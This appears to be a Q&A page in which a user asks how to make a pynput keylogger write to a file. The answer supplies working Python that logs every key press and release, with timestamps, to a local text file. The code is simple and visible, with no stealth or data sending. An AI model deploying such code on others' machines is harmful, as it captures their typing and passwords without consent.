Search code examples
pythonpython-3.xkeyloggerpynput

Building a key logger with Pynput (saving it to notepad)


Trying to build a key logger with pynput.

Took a look at Here, everything worked fine but not what I wanted, I wanted to save the output to a text file at the same time that the programs running.

I tried sys.stdout but it just dosent save it to the LogTXT.txt file.

Anyways, here's the code:

from pynput.keyboard import Key, Listener

import os

import atexit

import sys

file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt",  os.O_RDWR|os.O_CREAT )

def on_press(key):
    print('{0} pressed'.format(
        key))

def on_release(key):
    print('{0} release'.format(
        key))
    if key == Key.esc:
        # Stop listener
        return False

# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
    sys.stdout = file 

Solution

  • Try to use another way to do this instead of use the stdout,think it as another way:

    from pynput.keyboard import Key, Listener
    import time
    
    fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file
    
    def on_press(key):
        print('{0} pressed'.format(key))
        fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.
    
    def on_release(key):
        print('{0} release'.format(key))
        fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
        if key == Key.esc:
            fp.write("End Press") # press esc.Exit the script
            fp.close()
            return False
    
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
    

    Some example of output in the file: enter image description here